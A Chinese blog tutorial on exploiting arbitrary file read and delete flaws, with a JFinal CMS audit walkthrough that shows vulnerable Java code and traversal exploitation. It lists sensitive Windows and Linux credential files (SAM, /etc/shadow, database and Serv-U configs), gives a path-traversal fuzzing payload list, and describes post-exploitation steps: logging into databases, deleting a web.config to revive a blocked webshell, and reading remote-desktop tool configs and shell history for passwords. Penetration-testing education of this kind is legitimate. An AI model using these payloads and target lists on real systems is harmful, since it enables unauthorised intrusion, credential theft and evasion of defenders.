任意文件读取的深度利用技巧

1. 什么是任意文件读取/删除漏洞

任意文件读取/删除漏洞,多存在一些文件查看/删除处,由于相关代码未做严格限制,导致跨目录甚至跨盘符情况产生,进而可以查看/删除其他文件,例如数据库配置文件网站源码等信息。例如,某处相关查看/删除图片的url为http://127.0.0.1/?fileName=/images/image.png,我们可以对最后的参数进行FUZZ,例如http://127.0.0.1/?fileName=/../../../../../../etc/passwd,进而测试是否存在任意文件读取/删除漏洞。

 参考文章:

Top18漏洞知识库-SRC技巧库、工具库

Nacos综合漏洞利用工具合集

2. 相关漏洞有什么用

有小伙伴可能会问了,存在任意文件读取漏洞又怎么样呢?getshell才是我的最终目的,这个漏洞只能算个中危。

其实不然,我们通过此漏洞,可以读取到相关数据库账号配置密码,例如MYSQL和MSSQL等数据库的配置信息,通过相关配置信息登录相关数据库,例如获取相关系统登录密码,去后台寻找更多可利用的点。若是存在相关条件,可以看看写过的几篇博客。

Mysql数据库getshell方法_mysql getshell-优快云博客

redis未授权到getshell_redis未授权访问getshell-优快云博客

若是还不会的话,那就当个脚本小子,直接利用图形化工具,一键Getshell,这里推荐MDUT和Syla。当然,工具只是一部分,可能还有更好用的其他工具,欢迎师傅们推荐。

1758857899_68d60aab95b690b21a401.png!small?1758857899679

1758857911_68d60ab729e2c4d06194e.png!small?1758857911190

还有一些其他利用的细微点,我将在第五小节继续深入。

3. 注意的相关文件

以下是相关常见利用思路的文件地址,例如读取/etc/passwd,大家对于/etc/passwd文件多认为是测试漏洞是否存在的验证文件。今年护网时,我所防守的单位就是因为有个运维用户的弱口令,进而导致子公司内网沦陷(勒索演练)。其用户名虽然奇怪,但是密码简单。当然不仅仅只是我给的这些文件,还有一些小tips,在第五小节大家就可以看到了。

windows敏感文件:

boot.ini #查看系统版本 
c:/windows/php.ini #php配置信息 
c:/windows/my.ini #MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码 
c:/winnt/php.ini 
c:/winnt/my.ini 
c:\mysql\data\mysql\user.MYD #mysql.user表中的数据库连接密码 
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini #存储了虚拟主机网站路径和密码 
c:\Program Files\Serv-U\ServUDaemon.ini 
c:\windows\system32\inetsrv\MetaBase.xml #查看IIS的虚拟主机配置 
c:\windows\repair\sam #WINDOWS系统初次安装的密码 
c:\Program Files\ Serv-U\ServUAdmin.exe #6.0版本以前的serv-u管理员密码 
c:\Program Files\RhinoSoft.com\ServUDaemon.exe 
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件  #存储了pcAnywhere的登陆密码 
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf #查看WINDOWS系统apache文件 
c:/Resin-3.0.14/conf/resin.conf #查看jsp开发的网站resin文件配置信息. 
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf #查看linux系统配置的JSP虚拟主机 
d:\APACHE\Apache2\conf\httpd.conf 
C:\Program Files\mysql\my.ini 
C:\mysql\data\mysql\user.MYD #存在MYSQL系统中的用户密码 C:\Windows\System32\drivers\etc\hostswinserver配置Telnet信息

Linux敏感文件:

/etc/httpd/conf/httpd.conf
/etc/rc.local 有时可以读出来apache的路径
/usr/local/apache/conf/httpd.conf
/var/www/html/apache/conf/httpd.conf
/home/httpd/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/httpd/conf/httpd.conf
/etc/apache/httpd.conf
/usr/local/lib/php.ini
/etc/hosts.deny 定义禁止访问本机的主机
/etc/bashrc bash shell 的系统全局配置
/etc/group 系统用户组的定义文件
/etc/httpd/httpd.conf
/etc/issue 显示Linux核心的发行版本信息(用于本地登陆用户)
/etc/issue/net 显示Linux核心和发行版本信息(用于远程登陆用户)----没成功
/etc/ssh/ssh_config ssh配置文件
/etc/termcap 终端定义和配置文件
/etc/xinetd.d
/etc/mtab 包含当前安装的文件系统列表 有时可以读取到当前网站的路径
redhat-release:包含识别当前Red Hat 版本号的字符串
shells:列出可用在系统上的shell命令行解释器(bash,sh,csh等).
/etc/vsftpd/vsftpd.conf
/etc/xinetd.conf xinetd 配置文件
/etc/protocols 列举当前可用的协议
/etc/logrotate.conf 维护 /var/log 目录中的日志文件
/etc/ld.so.conf “动态链接程序”(Dynamic Linker)的配置。
我在我的系统中安装了非常有用的 wget 实用程序。/etc/ 中有一个 /etc/wgetrc 文件
/etc/wgetrc
Linux操作系统用户配置文件
/etc/passwd
/etc/shadow
/etc/inputrc
DNS客户机配置文件,设置DNS服务器的IP地址及DNS域名
/etc/resolv.conf
内容为Default Router的ip地址
Redhat 5.x: /etc/sysconfig/network
/etc/sendmail.cf (Linux) Sendmail(EMAIL服务器)配置文件
/etc/sendmail.cw 本地主机名

4. JFinal代码审计小案例

4.1. 环境搭建

这里我们创建导入相关数据库后,点击启动即可。需要相关源码或者搭建辅助,可以在后台或者评论区留言。

1758857950_68d60ade9e5b1ec89fbb8.png!small?1758857950843

1758857999_68d60b0f336cab3ba3023.png!small?1758857999346

1758858022_68d60b26b921b00064c23.png!small?1758858022874

默认密码admin/123456。

1758858102_68d60b76187f1a7a4be85.png!small?1758858102165

4.2. 漏洞点发现

相关任意文件读取/删除漏洞,多存在于文件查看以及文件删除处,这里我们在运行相关功能点后,在burpsuit查看相关数据包,这种是通过功能点检查是否存在漏洞,过一段时间,我将这个CMS进行反向查找漏洞为出发点,撰写一篇博客。

4.2.1. 任意文件删除漏洞

这里我们看到有一个数据库备份文件还原以及删除操作,这里就可以尝试相关操作,是否有存在漏洞的可能。

1758858071_68d60b57d15552b2e64ad.png!small?1758858071820

我们将此文件删除试试,并查看burpsuit相关数据包。

1758858134_68d60b96cf5bbf66ede74.png!small?1758858134941

可以看到,他是通过name值进行的传参,我们查找/admin/database/delete,观察其是如何实现的。

1758858153_68d60ba93ff88dbd5bd57.png!small?1758858153263

1758858166_68d60bb6a67427a8255b4.png!small?1758858166758

操作的主要代码为

public void delete() {
        String name = getPara("name");
        //通过getPara传入name参数
        BackupUtils.delete(name);
        //删除文件
        renderJson(Feedback.success(new HashMap<>()));
        //显示结果
    }

我们跟进ctrl+鼠标左键快捷功能,跟进查找delete()函数,查看其具体用法。

1758858204_68d60bdc49cf9455bee6e.png!small?1758858204381

public static void delete(String backupName){
        File backupFile = new File(PathKit.getWebRootPath()+"/"+CommonAttribute.BACK_PATH+"/"+backupName);
        //将backupName参数直接进行拼接,getWebRootPath()为获取当前路径函数
        //CommonAttribute.BACK_PATH是一个固定路径值
        if(!backupFile.exists()){
            return;
        }
        FileUtils.deleteQuietly(backupFile);
        //删除backupFile所传递的文件
    }

相关代码已经分析完毕,我们就来测验一下,首先找到文件所在的位置。这里我们使用everything进行全局搜索。

1758858249_68d60c0910128e6da95ff.png!small?1758858249018

1758858260_68d60c14508b02cc731e8.png!small?1758858260263

在其上级路径创建一个名为1.txt的文件。

1758858274_68d60c22384e22885d07e.png!small?1758858274191

将原来数据包中的name值,修改为/../1.txt,发送发现1.txt文件消失不见。

1758858306_68d60c42e7d03687b85b3.png!small?1758858307034

1758858327_68d60c5704c786025788b.png!small?1758858327226

这里还原的代码,不会显示相关文件的具体信息,因而任意文件读取漏洞在这个接口就不存在。

public void restore(){
        String name = getPara("name");
        BackupUtils.restore(name);
        renderJson(Feedback.success(new HashMap<>()));
    }
public static void restore(String backupName){
        File backupFile = new File(PathKit.getWebRootPath()+"/"+CommonAttribute.BACK_PATH+"/"+backupName);
        if(!backupFile.exists()){
            return;
        }
        try {
            List<String> lines = FileUtils.readLines(backupFile,"UTF-8");
            StringBuilder sql = new StringBuilder();
            for(String line : lines){
                if(line.startsWith("--")){
                    continue;
                }
                sql.append(line);
                if(line.endsWith(";")){
                    Db.update(sql.toString());
                    sql.delete(0, sql.length());
                }
            }
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }

4.2.2. 任意文件读取漏洞

在模板管理这一功能点,我们访问相关文件,并查看burpsuit中数据包的构成。

1758858360_68d60c78989b5882275c2.png!small?1758858360626

1758858371_68d60c837c5e6e33b15c4.png!small

1758858379_68d60c8bc34333b1434f8.png!small?1758858379844

发现一个数据包存在fileName参数

1758858396_68d60c9c3e2f41623e94a.png!small?1758858396446

全局搜索查找/admin/template/edit接口

1758858415_68d60cafbf55ef5c90d03.png!small?1758858415961

1758858422_68d60cb6aabe569ffa9be.png!small?1758858422765

 

public void edit() {

String fileName = getPara("fileName");

String directory = getPara("directory");

//获取fileName和directory参数

if (StringUtils.isBlank(fileName)) {

render(CommonAttribute.ADMIN_ERROR_VIEW);

return;

//如果文件名为空,则报错

}

setAttr("directory", directory);

setAttr("fileName", fileName);

String filePath = "";

if(StringUtils.isNotBlank(directory)){

filePath = "/"+directory.replaceAll(",", "/")+"/"+fileName;

//如果directory不为空的话,将文件名拼接到目录参数后

//directory.replaceAll(",", "/")是将目录中的","替换为"/"

}else{

filePath = "/"+fileName;

//如果directory为空的话,filename直接进行拼接

}

setAttr("content", StringEscapeUtils.escapeHtml(TemplateUtils.read(filePath)));

render(getView("template/edit"));

//查看相关文件

}

这里我们定位到原文件所在位置。

1758858499_68d60d0334a48ee860c46.png!small?1758858499282

在上级目录中同样创建一个名为1.txt的文件并向其写入123。

1758858508_68d60d0cd331003d918c7.png!small?1758858508878

设置fileName参数为/../1.txt,可以看到,跨目录读取成功。

1758858520_68d60d18b288ad6979c57.png!small?1758858521080

读取数据库配置文件试试,读取成功。

1758858533_68d60d254915f93451b48.png!small?1758858533413

登录数据库,查找后台密码

1758858546_68d60d3216eb0f76b927a.png!small?1758858546047

1758858552_68d60d38c9b7c62c64689.png!small?1758858552879

使用解密后的密码登录成功

1758858562_68d60d42e179c487928dc.png!small?1758858562946

这里也存在任意文件删除漏洞,感兴趣的小伙伴可以自己尝试,寻找相关漏洞功能点。这里再推荐一个工具”DecryptTools“,里面记录了各种主流应用的数据库配置文件等信息。

1758858573_68d60d4d319fe5a889469.png!small?1758858573200

5. 实战中其他的利用思路

5.1.1. 删除相关配置文件

我们通过某一文件上传漏洞上传shell后,发现访问弹出403,这可能是相关web.config文件存在相关配置,导致了上传的文件无法正常访问,这时候通过任意文件删除漏洞,删除相关文件,即可突破限制,但是不能随意删除相关文件,可能删除后服务器无法启动。这里以“希潭实验室”大佬发布的文章举例。

上传shell后,第二天发现访问shell显示403,经过判断,猜测蓝队防守方做了加固,在webshell所在文件夹下放置了web.config文件,更改了默认配置,使脚本在当前目录下不能执行。

1758858587_68d60d5bc6738195ad4a4.png!small?1758858587933

通过审计源码找到任意文件删除漏洞,突破蓝队防守。

1758858600_68d60d68a642deaeceb49.png!small?1758858600730

原文链接:https://mp.weixin.qq.com/s/ErG1XuEe6NLJci1vGHdeww

5.1.2. 读取相关远控文件的配置文件

通过任意文件读取漏洞读取远控程序的配置文件。例如向日葵还有Todesk等远控软件,通过工具解密后,即可直接登录该服务器。

相关配置文件的默认路径如下:

向日葵默认配置文件路径:
安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
便携版(绿色版):C:\ProgramData\Oray\SunloginClient\config.ini

1758858618_68d60d7acec9317199607.png!small?1758858619009

读取后需要对密码进行解密,Todest是将相关密钥直接进行替换。这里以“剑客古月”的文章举例。不过他是getshell后,获取的配置文件信息,替换后再进行的登录。我们可以尝试通过任意文件读取漏洞,来读取相关配置文件。一般存在于外网服务器内。相关运维人员为了方便运维,就会下载这类远控工具。

原文链接:https://mp.weixin.qq.com/s/mKlUTDvE3HY4J8H_jWZl6g

5.1.3. 读取社交软件图片信息

还有一个案例,该站点存在目录遍历漏洞,可以访问所有文件,目录下存有微信聊天记录的相关图片信息,且以文档树的方式进行展现,但是无法访问,好在该站点存在一个任意文件下载漏洞,通过遍历相关如片信息,在一个截图中获得了某系统的账号密码,最终拿下了域控。这个文章是很久之前看到的,具体作者忘记是谁了。这种思路也很新奇,也可以尝试读取其他的相关信息。

5.1.4. 读取历史命令

若部署服务的系统是Linux且存在任意文件读取漏洞,这时候我们就可以考虑读取历史命令了,Linux的历史命令文件存储在“.history”文件中,里面记录了用户执行过的所有命令,可能包含相关源码存放位置。

  • 其一,明文或编码形态的密码与密钥,例如在命令中直接粘贴的数据库密码、API密钥或SSH私钥密码;
  • 其二,系统的拓扑结构与访问模式,如内网IP、数据库连接字符串、关键配置文件路径等;
  • 其三,管理员的操作习惯与运维逻辑,例如常用的sudo命令、定时任务脚本路径或备份操作

具体文章可以参考“曾哥”写的这篇文章,从任意文件读取漏洞分析到读取源码进行深层利用的思路:

https://mp.weixin.qq.com/s/AEFIM6o9be82Q1IVqUwqxg

 参考文章:

Top18漏洞知识库-SRC技巧库、工具库

Nacos综合漏洞利用工具合集

5.1.5. 其他

我们获取了某个系统的任意文件读取漏洞之后,首先就是要知道相关网站的目录接口是什么,读取网站源码,通过FUZZ方式获取配置文件信息。DecryptTools中记录了相关常见系统的数据库默认路径。大家也可以通过日常的密码本收集,来打造一个属于自己的字典。

这里推荐我用的一个字典合集

..0x5c..0x5c{FILE}
..0x5c{FILE}
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}%00index.html
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE};index.html
..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}%00index.html
..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE};index.html
..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f..%2f{FILE}%00index.html
..%2f..%2f..%2f..%2f..%2f..%2f{FILE};index.html
..%2f..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f..%2f{FILE}%00index.html
..%2f..%2f..%2f..%2f..%2f{FILE};index.html
..%2f..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f..%2f{FILE}%00index.html
..%2f..%2f..%2f..%2f{FILE};index.html
..%2f..%2f..%2f{FILE}
..%2f..%2f..%2f{FILE}%00index.html
..%2f..%2f..%2f{FILE};index.html
..%2f..%2f{FILE}
..%2f..%2f{FILE}%00index.html
..%2f..%2f{FILE};index.html
..%2f{FILE}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值